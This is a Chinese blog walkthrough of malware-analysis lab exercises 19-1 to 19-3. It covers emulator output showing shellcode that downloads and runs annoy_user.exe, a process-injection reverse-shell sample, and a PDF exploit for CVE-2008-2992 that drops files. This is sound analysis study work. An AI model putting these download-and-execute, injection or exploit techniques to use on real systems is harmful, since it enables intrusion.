首页 > 系统相关 >恶意代码分析实战 shellcode分析 lab 19-1 19-2 19-3 整体来说 对汇编代码的分析要求较高 因为没法直接反编译为C代码看

恶意代码分析实战 shellcode分析 lab 19-1 19-2 19-3 整体来说 对汇编代码的分析要求较高 因为没法直接反编译为C代码看

时间:2022-10-06 21:45:00浏览次数:87  
标签:分析 文件 2332 exe 19 代码 liebao pdf shellcode

Lab 19-1

==》先申明下,因为缺失利用该shellcode的上下文,也就是漏洞利用的环境,所以分析起来非常蛋疼!

 

本次实验我们将会分析lab19-01文件。先来看看要求解答的问题
Q1.这段shellcode是如何编码的?
Q2.这段shellcode手动导入了哪个函数?
Q3.这段shellcode和哪个网络主机通信?
Q4.这段shellcode在文件系统上留下了什么迹象?
Q5.这段shellcode做了什么?

 

分析“恶意代码、shellcode”的利器:scdbg

1、什么是scdbg

scdbg是一款多平台开源的Shellcode模拟运行、分析工具。其基于libemulibrary搭建的虚拟环境,通过模拟32位处理器、内存和基本Windows API运行环境来虚拟执行Shellcode以分析其行为。

2、基本原理

众所周知,shellcode为了实现特定的功能必须通过调用系统API来完成-不论先前怎怎么变形怎么加密最后都会调用系统API。scdbg就是通过模拟执行以及hook多达200多个API来探测shellcode的行为。当然比如创建文件和访问网络这些危险的API并没有真正的在本机执行,而是通 过传回虚假的返回值来欺骗shellcode让其平稳运行。

3、亮点

A.跨平台开源

同时支持unix和windows系统。对有系统洁癖的同学来说可以放心在unix下搭建环境“调戏”shellcode了。

B.文档类格式漏洞

scdbg能很容易通过交互方式分析诸如pdf,excel,word等文档类漏洞释放出来的shellcode。这类漏洞的相同点就是首先肯定会通过调用GetFileSize找到宿主文件句柄然后进行下一步操作。

4、资源下载

A.WIN32

可执行程序: http://sandsprite.com/CodeStuff/scdbg.zip

源代码:https://github.com/dzzie/VS_LIBEMU

git clone git://github.com/dzzie/VS_LIBEMU.git

B.*nix/Cygwin Source

源代码 : https://github.com/dzzie/SCDBG

git clone git://github.com/dzzie/SCDBG.git

5、具体使用:

 

D:\迅雷下载\scdbg>scdbg.exe -f "D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.bin" -r -d
Loaded 53e bytes from file D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.bin
Memory monitor enabled..
Initialization Complete..
Dump mode Active...
Max Steps: 2000000
Using base offset: 0x401000

401313  LoadLibraryA(URLMON)
40132d  GetSystemDirectoryA( c:\windows\system32\ )
40134c  URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
401358  WinExec(c:\WINDOWS\system32\1.exe)
40135b  GetCurrentProcess() = 1
401364  TerminateProcess(1) = 1

Stepcount 237493
Primary memory: Reading 0x53e bytes from 0x401000
Scanning for changes...
Change found at 548 dumping to D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.unpack
Data dumped successfully to disk

Analysis report:
        Sample decodes itself in memory.        (use -d to dump)
        Uses peb.InInitilizationOrder List
        Instructions that write to code memory or allocs:
        40121a   AA                              stosb
        40132f   C7075C312E65                    mov dword [edi],0x652e315c
        401335   C7470478650000                  mov dword [edi+0x4],0x6578

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x4012a1
        peb.InInitializationOrderModuleList accessed at 0x4012ac

 dump后的文件在dumping to D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.unpack

 

 其他分析如下,非常繁琐,因为这个里面要做xor的解密,恶意代码作者为防止签名的嗅探!

 

 

将实验程序载入IDA
在这里插入图片描述

可以看到是一些ecx自增操作
一直到了200开始才是正常的代码段
在这里插入图片描述

shellcode的解码器也是从这里开始的
一开始的xor用于清空ecx,之后将18dh赋给cx
jmp来到loc_21f,而在下图可以看到loc_21调用sub_208,在call指令执行后,就会把下一条指令的地址也就是224压到栈顶
如下所示
在这里插入图片描述

可见这里是一个循环
循环体外的202处看到ecx被赋值18dh,循环体中的21B处有dec ecx,这说明ecx是起到计数器的作用
将光标定位到sub_208,按空格键切换模式
在这里插入图片描述

可以看到和我们描述的一样,再切换回来
208处pop指令会将栈顶也就是224这个地址赋给esi
之后push则是将其压栈,mov指令将esi赋给edi
lodsb指令在这里是将esi赋给eax,esi中的地址是224,该地址的值是多少呢?
我们光标定位到224,按d键
在这里插入图片描述

点击yes得到如下结果
在这里插入图片描述

可以看到该地址的值是49h
也就是将49h赋给eax
之后al赋给dl,dl此时的值就是49h,dl减去41h,所得结果左移4位
然后esi自增,变成了225,同样定位到225,按d键,结果如下
在这里插入图片描述

通过215处的lodsb将225地址的值4ah赋给eax,al的值就是4ah
al-41h,再将其结果与dl相加,结果保存在al
21a处的stodb将eax的内容赋给edi所指向的地址的位置,而edi这次是被赋了224这个地址,也就是说上面运算的结果被保存在了224地址处
之后,edi会指向下一个地址,Ecx自减,然后继续循环
在21e处的retn则会来到224处,在224开始解码,这里就是开始解码的地方。
我们知道这是解码的操作,但是上面的分析可以还是比较麻烦的,我们尝试将shellcode从bin文件提取出来(提出来的shellcode在shellcodet.txt)
shellcode.txt如下所示
然后将其填入模板template.txt
得到test.txt
使用vc++6.0编译
首先创建一个test.cpp文件
在这里插入图片描述

然后将test.txt内容粘贴进去
在这里插入图片描述

接着依次编译、链接
点击下图两个按键就可以
在这里插入图片描述

在debug目录下得到test.exe
在这里插入图片描述

使用od分析test.exe
直接ctrl+g来到4016b4的地方,这里是调用main函数的地址
在这里插入图片描述

我们在这里下断点,然后命中,接着f7步入
在这里插入图片描述

这样就来到了main函数中
直接往下走到retn处(在4010bb下断点,再命中即可)
在这里插入图片描述

然后切换到打开的cmd中,按下回车
在这里插入图片描述

再回到ollydbg,f7单步走,来到了shellcode解码的地方

在这里插入图片描述

注意:
这里开始就是我们在IDA中看到的解码的部分,我们在ollydbg在按照od所呈现的信息再简单分析一遍
解码部分从12fb80开始,加载被编码的字节对,减去基值0x41,移位并且将两个值相加,然后将结果存回内存中。12fb89处的push指令用12fb9e处的retn指令将控制转到攻击负载
Q1.这段shellcode是如何编码的?
A1.这个shellcode使用了一种字母编码的方式,攻击负载的一个字节存储在两个编码字节的低4比特位
注意到既然12fb9e处有个retn,我们可以直接在这里下断点
在这里插入图片描述

就可以完成解密的流程,得到解密后的代码

注意看上图,在还没有按f9命中的时候12fba4开始往下的地方都是没有正确识别出指令的
接下来我们下完断点,按f9执行,如下所示
在这里插入图片描述

12fba4开始往下的指令都被成功解码出来了
接下来回到第二个问题:这段shellcode手动导入了哪些函数?
这里我们切换到kali使用sctest来模拟shellcode,命令如下
sctest -Svs 1000000 < Lab19-01.bin > sectest-lab19.txt
结果如下所示
在这里插入图片描述

在这里看到shellcode导入了
LoadL ibraryA
GetSystemDirectoryA
WinExec
URLDownloadToFileA
Q2.这段shellcode手动导入了哪些函数?
A2.shellcode导入了:
LoadL ibraryA
GetSystemDirectoryA
WinExec
URLDownloadToFileA
从上图可以看到shellcode会连接到http://www.practicalmalwareanalysis. com/shellcode/annoy_user. exe
Q3.这段shellcode和哪个网络主机通信?
A3. shellcode 下载如下URL:
http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe。
在上图我们注意到
使用URLDownloadToFile将annoy_user.exe下载后保存为了system32目录下的1.exe文件,之后会通过winexec来运行
Q4.这段shellcode在文件系统上留下了什么迹象?
A4. shellcode 在文件系统上写了文件%SystemRoot%\System32\I.exe,并运行它。
Q5.这段shellcode做了什么?
A5. shellcode 会从指定的URL下载文件,将下载的文件写到硬盘,并运行它。

   

恶意软件分析实战19-shellcode调试逆向Lab19-2

把样本拖入VT内分析:

 可以看到爆红,查看一下细节, 发现了IE浏览器进程被创建了。

 查看一下导入函数,发现导入了提权相关API。

还有远线程注入以及进程创建相关的API  ==========>当然,通过PEID或者depends工具都是可以看到该exe导入的函数!

 

 现在把程序拖入IDA中,一上来就获取了debug权限,后来就获取了IE的路径

 其打开了注册表的HKEY_LOCAL_MACHINE\\http\\shell\\open\\command项, 即IE的路径,这个命令行执行后会打开IE浏览器

 接着就以隐藏方式开启了IE浏览器,接着把shellcode注入到IE浏览器内部

 创建IE进程的代码:

 这里是创建远线程进行注入的代码:

 shellcode的首地址以参数形式传递给了函数

 获取shellcode的首地址: 

 接下来我们直接用Ollydbg来调试shellcode, 将EIP指针指向该shellcode的首地址

0xE7是秘钥, 利用这个来解密代码

  注意这段代码, 它的首地址是0x407048

 解密循环结束后,同样的位置代码已经改变,解密完成,现在开始分析shellcode

 这段代码获取了kernel32.dll的基地址

 这里解析kernel32.dll的PE结构的导出表,查找对应函数名的hash值:

 接下去就是通过函数名的HASH值来搜索该函数地址然后保存起来

 下面是获取ws2_32.dll里面的api函数

 直接执行了网络行为,我们来观测一下这个connect函数。connect参数内会有服务器的IP地址以及端口号

重点关注这个地址:

 现在分析出几个字段, 查看下IP是0x02C8A8C0

 写一段小代码获取对应的IP地址, 发现是一个内网地址。现在把虚拟机内网地址设置成这个,然后开启nc监听0x3412端口

 修改网卡的静态内网IP:

 设置监听:

然后创建了一个cmd进程后就结束了这个进程。这感觉是个反向shell。

 果然是个后门:

 总结下来这个程序做的事情就是创建隐藏进程后远程注入shellcode执行后门

 

 

我自己本机运行效果图:

 

看下火绒剑里监控的数据,因为进程注入,适合用火绒剑而不是procmon、proexp这些:

看到了进程注入:

 

 详细的进程注入日志如下(其他的注册表啥的不看了):

21:15:27:343,	Lab19-02.exe,	2332:0,	2332,	PROC_exec,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 cmdline:'"C:\Program Files\liebao\liebao.exe" "%1"' ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	THRD_resume,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 target_tid:1712 ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_open,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 access:0x0000002A ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_pgprot,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x00150000 count:0x000001A7 attrib:0x00000040 bytes_changed:0x00001000 ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_pgprot,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x00150000 count:0x00001000 attrib:0x00000040 bytes_changed:0x00001000 ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_writevm,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x00150000 bytes_written:0x000001A7 datalen:0x000001A7 data:'EB 11 5F 66 68 8F 01 66 59 B0 E7 30 07 47 67 E2 ' ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_pgprot,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x0025E000 count:0x00001000 attrib:0x00000104 bytes_changed:0x00001000 ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	THRD_remote,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 target_tid:1288 access:0x001F03FF suspended:true start_vaddr:0x00150000 thread_param:0xB170ED64 ,	0x00000000 [操作成功完成。  ],	
21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	THRD_resume,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 target_tid:1288 ,	0x00000000 [操作成功完成。  ],	

 

 

 lab 19-3

本次实验我们将会分析lab19-03相关文件。先来看看要求解答的问题
Q1.这个PDF中使用了什么漏洞?
Q2.这段shellcode是如何编码的?
Q3.这段shellcode导入了哪些函数?
Q4.这段shellcode在文件系统上留下了什么迹象?
Q5.这段shellcode做了什么?
分析文件Lab19-03.pdf以及lab19-03_sc.bin
首先我们切换到kali进行分析
先使用pdfid检查下
在这里插入图片描述

注意到有js,javascript,结合题目的问题,那么可能这个pdf文件就是利用JavaScript来进行攻击的
我们进一步在win上使用PDFStremDumper检测,将pdf载入,点击exploit_scan得到下入所示文档
在这里插入图片描述

可以看到利用的是CVE-2008-2992
Q1.这个PDF中使用了什么漏洞?
A1. PDF 文件中包含一个CVE-2008-2992漏洞
我们选择第9个data stream
在这里插入图片描述

可以看到内嵌其中的JavaScript脚本
在这里插入图片描述

具体分析如下
在这里插入图片描述

使用unescape函数和一个字符串来初始化攻击负载
可以使用脚本进行相应的解码后将其转换为二进制文件
在这里插入图片描述

检查应用程序的版本来决定它是否应该尝试漏洞利用
在这里插入图片描述

执行了堆喷射的操作,之后调用util.printf触发漏洞利用,可以看到输出一个很大的数字,这是很可疑的。这正是为了触发漏洞,因为这里存在不当的边界检查,从而造成缓冲区溢出攻击。
Q2.这段shellcode是如何编码的?
A2.这个文件中的shellcode使用的是JavaScript的percent-encoding编码形式,也就是百分号编码,并且随着JavaScript一起保存在PDF中。
我们可以先使用sctest生成调用流图
root@kali:~# sctest -Svs 1000000 -G shell.dot < Lab19-03_sc.bin > shell
root@kali:~# dot shell.dot -T png -o diagram.png
在这里插入图片描述

得到的图片如下所示
在这里插入图片描述

图中只看到了两个关键的函数
在这里插入图片描述

分别是GetFileSize和LoadLibrary
接下来使用scdbg进一步查看其导入函数
scdbg –f bin文件 –fopen pdf文件 –i
在这里插入图片描述

由上图可知调用了CreateFile创建了foo.exe,bar.pdf
对应的,之后会调用CrateProcess创建进程,调用ShellExecute打开bar.pdf
Q3.这段shellcode导入了哪些函数?
A3.如上图所示,导入了很多,这里不一一列举。
Q4.这段shellcode在文件系统上留下了什么迹象?
A4. shellcode 在文件系统上创建文件%TEMP%foo. exe与%TEMP%\bar.pdf。

我们仔细看上scdbg的回显结果,程序在临时文件夹中写入了foo.exe,bar.pdf;此外通过CreateProcessA创建了foo.exe进程,通过ShellExecute打开bar.pdf
我们可以通过IDA来分析bin文件
打开后直接按c键,将其转为代码
在这里插入图片描述

注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧
之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据
双击跟入sub_17b
在这里插入图片描述

Pop esi则是把0d的地址赋给了esi
继续往下看
在这里插入图片描述

这里需要注意,在000183处调用的sub_CA,实际上就是findkernel32Base,用于查找系统中的kernel32.dll的地址。而0x195位置的是findSymbolByHash函数,用于hash值的计算
在18b处可以看到一共是是对kernel32做了0xe次操作,也就是14次操作
在19d,1a2看到两个push,我们可以将其右键转换如下所示
在这里插入图片描述

拼接起来可知,程序在19D以及1A2的位置压入了“shell32”这个字符串,作为LoadLibrary函数的参数
继续往下分析
在这里插入图片描述

注意,1c6处的call实际上是在调用GetFIleSize,给定一个句柄,这个函数会返回句柄对应的文件大小。在1b6处的xor指令首先将句柄初始化为0,然后在1bb处每次迭代都加上4.
得到的结果会与shellcode嵌入数据区偏移量为0x3c处的值比较,这个偏移处应该是有一个给定的值的,不过由于我们现在是静态分析,无法获得。
我们猜测这应该是shellcode在启动漏洞攻击之前,先判断当前pdf文件的大小是否和lab19-03.pdf的大小一致。
继续往下分析
在这里插入图片描述

这里需要注意,1ef处的call是调用SetFilePointer
在1e9处注意到基于嵌入数据区的偏移量为0x40
这里是通过调用SetFilePointer调整文件指针在恶意pdf中的位置,基于嵌入数据区的偏移量为0x40处的值,从恶意pdf中提取出第一个文件的文件偏移量。之后调用sub_13d来读取文件内容。
继续往下分析
在这里插入图片描述

这里注意,21e处的call实际上是调用GetTempPathA
这里shellcode是构造了一个输出文件路径,调用GetTempPathA,然后会追加字符串
追加的内容可以在22f,235处可以看到,这里需要转换成如下所示
在这里插入图片描述

可以看到追击的字符串的内容为foo.exe
继续往下分析
在这里插入图片描述

252处的sub_EB实际是用于将缓冲区内容写入磁盘,注意到在调用它之前有5个连续push,说明其有5个参数,它会使用246处的0x4a与输入缓冲区中的每个字符串异或,然后将解密的缓冲区写入到245处的eax中的值(也就是说此处eax的内容就是该函数的输出文件名)
结合前一段指令的分析结果,我们知道这里是会写入文件foo.exe
注意286处的call实际是调用CreateProcessA,这个文件名会被传递给CreateProcessA调用,它负责用刚刚写入磁盘的文件创建一个新进程
继续往下分析
在这里插入图片描述

这一部分shellcode是在重复相同的过程来提取存储在恶意pdf中的第二个文件
在294处,shellcode根据存储在嵌入数据偏移量0x4c处的文件的大小来分配一个内存空间,然后会根据2a6处的偏移量0x48存储的文件偏移量,来调整文件指针的位置
继续往下分析
在这里插入图片描述

这里shellcode使用与第一个文件相同的临时文件路径,但是在2c3,2c9处的表示的文件名换了,我们可以转换后看到如下所示
在这里插入图片描述

看到是用bar.pdf替换了文件名
2e3处的sub_EB使用2d7处给出的0x4a来解码文件内容,并将其写入%temp%bar.pdf
继续往下分析
在这里插入图片描述

这里先把2f0处的数字转换一下
在这里插入图片描述

看到是open
注意310处的call是调用ShellExecute
这里shellcode调用ShellExecute打开它刚刚写入到%temp%bar.pdf中的pdf文件
之后shellcode传入命令字符串open和PDF的路径使得系统可以使用已注册的应用程序打开这个指定的文件
Q5.这段shellcode做了什么?
A5. shellcode 从PDF中提取其中存储的两个编码文件,并且将它们写入%TEMP%目录。同时,它运行foo.exe文件,并打开bar.pdf文档。

 

标签:分析,文件,2332,exe,19,代码,liebao,pdf,shellcode
From: https://www.cnblogs.com/bonelee/p/16758577.html

相关文章

  • jsonschema2pojo 基于json schema 生成代码
    jsonschema2pojo是一个很不错的基于jsonschema生成代码的包以及工具(maven扩展)jsonschema2pojo特点支持基本的jsonschema操作支持java扩展,比如别名,继承扩展接口外......
  • 求最大公约数的伪代码
    1.什么是求两个数的最大公约数的欧几里得算法(辗转相除法)。欧几里得算法是用来求两个正整数最大公约数的算法。古希腊数学家欧几里得在其著作《TheElements》中最早描述了......
  • ORA-19505: failed to identify file "/u01/app/oracle/product/11.2.0/db_1/dbs/orap
    系统:centos7.964位数据库:oracle11.2.0.464位环境:rac(双节点)+dg问题描述:搭建dg时报错ORA-19505,如下所示.[oracle@hisdbdg~]$rmantargetsys/********@orclauxiliary......
  • 实现进制转化伪代码
    伪代码如下Write"Enterthenewbase"ReadnewBaseWrite"Enterthenumbertobeconverted"ReaddecimalNumberSetquotientto1WHILE......
  • BUUCTF—ciscn_2019_n_1
    先看看开了什么保护机制打开64位ida看看如果v2为11.28125,那么就执行system("cat/flag"),这样就可以得到flag了,然后发现v2是局部变量,在栈上,然后还有个gets的栈溢出,所以这......
  • 实验3:OpenFlow协议分析实践
    一、基础要求1)/home/用户名/学号/lab3/目录下的拓扑文件#!/usr/bin/envpythonfrommininet.netimportMininetfrommininet.nodeimportController,RemoteContro......
  • 05.let和var(代码块)
    代码块使用{}来创建代码块,代码块可以用来对代码进行分组,  同一个代码中的代码,就是同一组代码,一个代码块中的代码要么都执行要么都不执行。let和var  在JS中,使用le......
  • SDN OpenFlow协议分析实践
    一、实验目的1.能够运用wireshark对OpenFlow协议数据交互过程进行抓包;2.能够借助包解析工具,分析与解释OpenFlow协议的数据包交互过程与机制。二、实验环境Ubuntu......
  • 代码大全2-1
    今天我阅读了代码大全前两章,第一章欢迎来到软件构造的世界,它分为两部分什么是软件构造,软件构建为何如此重要。直觉上对构建的认知是相当准确的,但他还缺乏一点深度。把......
  • 实验3:OpenFlow协议分析实践
    实验3:OpenFlow协议分析实践一、实验目的能够运用wireshark对OpenFlow协议数据交互过程进行抓包;能够借助包解析工具,分析与解释OpenFlow协议的数据包交互过程与机制......